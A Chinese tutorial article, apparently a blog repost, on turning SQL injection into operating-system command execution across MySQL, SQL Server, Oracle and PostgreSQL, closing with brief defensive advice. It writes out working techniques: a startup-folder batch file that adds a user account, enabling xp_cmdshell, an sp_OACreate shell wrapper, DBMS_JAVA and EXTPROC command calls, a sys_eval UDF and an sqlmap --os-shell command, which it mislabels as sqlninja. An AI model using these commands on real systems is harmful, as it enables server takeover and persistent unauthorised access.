当前位置: 首页 > news >正文

SQL注入与防御-第六章-2:利用操作系统--执行操作系统命令

SQL 注入与防御——SQL 注入利用操作系统(执行操作系统命令)

一、核心逻辑与价值

通过 数据库内置功能(存储过程、函数等),突破数据库边界,直接在服务器执行操作系统命令。利用数据库高权限运行特性(如 Windows SYSTEM 特权、Linux 高权限用户 ),实现权限提升、横向渗透、持久化控制,将数据库漏洞转化为服务器完全控制。

二、不同数据库的命令执行实现

(一)MySQL

MySQL 本身不直接支持 shell 命令执行,但可通过间接技术利用:

1. 结合文件写入与服务器环境

若 MySQL 与 Web 服务器同机,可通过 SELECT INTO DUMPFILE 构造欺骗性 CGI 脚本(如 .bat .php ),结合服务器自动执行逻辑(如 Windows 启动文件夹、Linux 计划任务 )触发命令。

示例(Windows 环境,MySQL 以 SYSTEM 权限运行 ):

- 写入批处理文件到管理员启动目录
UNION SELECT 'net user attacker pwd /add' INTO OUTFILE 'C:/Documents and Settings/All Users/Start Menu/Programs/Startup/owned.bat'

管理员登录时,批处理自动执行,攻击者获得新用户权限。

2. 堆叠查询与 UDF 攻击(进阶)

  • 堆叠查询:MySQL 5+ 支持 ; 分隔的多语句执行,理论上可结合 CREATE FUNCTION(UDF,用户自定义函数 )注入,但需文件写入权限多查询支持,实战中因防御限制较少见。
  • Black Hat 案例参考:Bernardo Damele 在欧洲黑帽大会演示的 ASP.NET + 堆叠查询场景,利用第三方连接程序的多语句支持,实现复杂命令执行(可扩展阅读 sqlmap 黑帽文档 )。

(二)Microsoft SQL Server

依赖 xp_cmdshell 存储过程,是命令执行的核心入口:

1. xp_cmdshell 基础用法

默认禁用,需高权限(如 sysadmin )启用。启用后直接执行系统命令:

- 启用 xp_cmdshell(需先开高级选项)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- 执行命令(如查询网络配置)
EXEC xp_cmdshell 'ipconfig';

2. 绕过禁用的技巧

若 xp_cmdshell 被禁用,可通过 自定义存储过程 或 CLR 集成 重建命令执行能力:

  • 自定义存储过程(模拟 xp_cmdshell ):

    CREATE PROCEDURE xp_cmdshell3 (@cmd VARCHAR(255), @Wait INT = 0)  
    AS  
    BEGIN  DECLARE @oShell INT, @oResult INT, @sResult INT;  EXEC @oResult = sp_OACreate 'WScript.Shell', @oShell OUT;  IF @oResult = 0 EXEC @sResult = sp_OAMethod @oShell, 'Run', NULL, @cmd, 0, @Wait;  IF @oResult = 0 SELECT @sResult;  IF @oResult <> 0 EXEC sp_displayoaerrorinfo @oShell, @oResult;  EXEC @oResult = sp_OADestroy @oShell;  RETURN @sResult;  
    END;  -- 调用自定义过程执行命令  
    EXEC xp_cmdshell3 'ipconfig';
    
  • CLR 集成:加载 .NET 程序集,执行系统命令。需启用 CLR 并设置 TRUSTWORTHY 数据库属性:

    - 启用 CLR
    EXEC sp_configure 'clr enabled', 1; RECONFIGURE;
    -- 创建不安全程序集(需 sysadmin 权限)
    CREATE ASSEMBLY [UnsafeAssembly]
    FROM 'C:\temp\unsafe.dll'
    WITH PERMISSION_SET = UNSAFE;
    -- 调用程序集执行命令(需自定义函数封装)
    

(三)Oracle

依赖 高权限数据库功能(如 DBMS_JAVAEXT PROCPL/SQL native ),需 DBA 权限或漏洞提权:

1. 基础命令执行(需 DBA 权限)

  • DBMS_JAVA 调用:若用户有 Java IO 权限,可通过 DBMS_JAVA.RUNJAVA 执行系统命令:

    - 执行 cmd.exe 命令(Windows 示例)
    SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/uti/Wrapper', 'main', 'C:\windows\system32\cmd.exe /c ipconfig')
    FROM DUAL;
    
  • EXT PROC 外部过程:创建共享库(DLL/so 文件 ),通过 EXT PROC 调用系统函数:

    - 创建外部库(Windows 示例)
    CREATE OR REPLACE LIBRARY exec_shell AS 'C:\windows\system32\msvcrt.dll';
    -- 创建外部过程
    CREATE OR REPLACE PROCEDURE oraexec (cmdstring IN CHAR)
    AS EXTERNAL
    NAME "system"
    LIBRARY exec_shell
    LANGUAGE C;
    -- 执行命令
    EXEC oraexec('ipconfig');
    

2. 权限提升与漏洞利用

  • SYS 模式注入:利用 Oracle 内置对象(如 SYS.LT.MERGEWORKSPACE )的注入点,提升权限至 DBA。例如,创建函数注入易受攻击的 SYS 过程,将 DBA 角色赋予普通用户。
  • 补丁绕过:利用未及时修复的漏洞(如 PUBLIC 角色执行 SYS.LT.MERGEWORKSPACE ),实现无 DBA 权限的命令执行。

(四)PostgreSQL

通过 用户自定义函数(UDF) 或 sqlninja 工具 实现命令执行:

1. UDF 注入

创建基于操作系统的 UDF,调用系统命令:

- 示例:创建执行系统命令的 UDF(需高权限)
CREATE FUNCTION sys_eval(text) RETURNS text
AS '$libdir/postgresqludf_sys', 'sys_eval'
LANGUAGE C STRICT;
-- 执行命令
SELECT sys_eval('ipconfig');

2. sqlninja 工具集成

结合 sqlninja 的 --os-shell 选项,上传共享库、创建 UDF,实现交互式命令执行:

sqlmap -u "http://target/test.php?id=1" --os-shell

工具自动完成 文件上传、UDF 创建、命令执行 流程,支持反弹 Shell、权限维持。

三、防御思路

  1. 权限最小化
    • 限制数据库用户 sysadmin/DBA 权限,禁用不必要的存储过程(如 xp_cmdshell )。
    • 配置 UTL_FILE_DIRFILE 权限时,仅开放必要路径。
  2. 功能禁用与审计
    • 禁用 xp_cmdshellDBMS_JAVA 等高危功能,通过数据库配置工具(如 SQL Server 界面配置 )关闭。
    • 审计数据库日志,监控 CREATE FUNCTIONLOAD_FILE 等敏感操作。
  3. 漏洞补丁与监控
    • 及时更新数据库补丁,修复 UDF 注入、SYS 模式漏洞等。
    • 结合 WAF、IDS 监控异常 SQL 语句(如多语句堆叠、xp_cmdshell 调用 )。

总结:执行操作系统命令是 SQL 注入的高阶攻击,利用数据库高权限特性突破边界。防御需聚焦权限管控、功能禁用、日志审计,切断数据库到系统命令的执行链路。不同数据库的实现差异大,需针对性加固。

http://www.dtcms.com/a/270335.html

相关文章:

  • 图像梯度处理与边缘检测:OpenCV 实战指南
  • 【牛客刷题】小红的v三元组
  • FastAPI Docker环境管理脚本使用指南
  • 虚拟机忘记密码怎么办
  • nmon使用方法
  • 征程 6|工具链量化简介与代码实操
  • 云原生安全观察:零信任架构与动态防御的下一代免疫体系
  • 人物设定一秒入魂!RAIDEN-R1提出可验证奖励新范式,让CoT推理更“人格一致”
  • SpringAI学习笔记-MCP客户端简单示例
  • python采集商品详情数据接口json数据返回参考
  • 前端面试常考题目详解​
  • 解决阿里云ubuntu内存溢出导致vps死机无法访问 - 永久性增加ubuntu的swap空间 - 阿里云Linux实例内存溢出(OOM)问题修复方案
  • (四)机器学习小白入门YOLOv :图片标注实操手册
  • 深度学习环境配置:PyTorch、CUDA和Python版本选择
  • 工作中的思考
  • 推荐系统中的相似度
  • 【计算机网络】第三章:数据链路层(上)
  • Redis常用数据结构以及多并发场景下的使用分析:Sorted List类型
  • (电机03)分享FOC控制中SVPWM的输出关联硬件
  • 【6G新技术探索】A2A协议介绍
  • 数据出海的隐形冰山:企业如何避开跨境传输的“合规漩涡”?
  • BM10 两个链表的第一个公共结点
  • main(int argc,char **agrv)的含义
  • Kubernetes配置管理
  • Vue3组合式API应用:状态共享与逻辑复用最佳实践
  • 说说SpringBoot常用的注解?
  • [Datawhale AI夏令营]大模型技术-基于带货视频评论的用户洞察挑战赛上分分享
  • React Native 一些API详解
  • 【ElasticSearch实用篇-02】基本增删改查
  • LoRaWAN 有几种入网方式?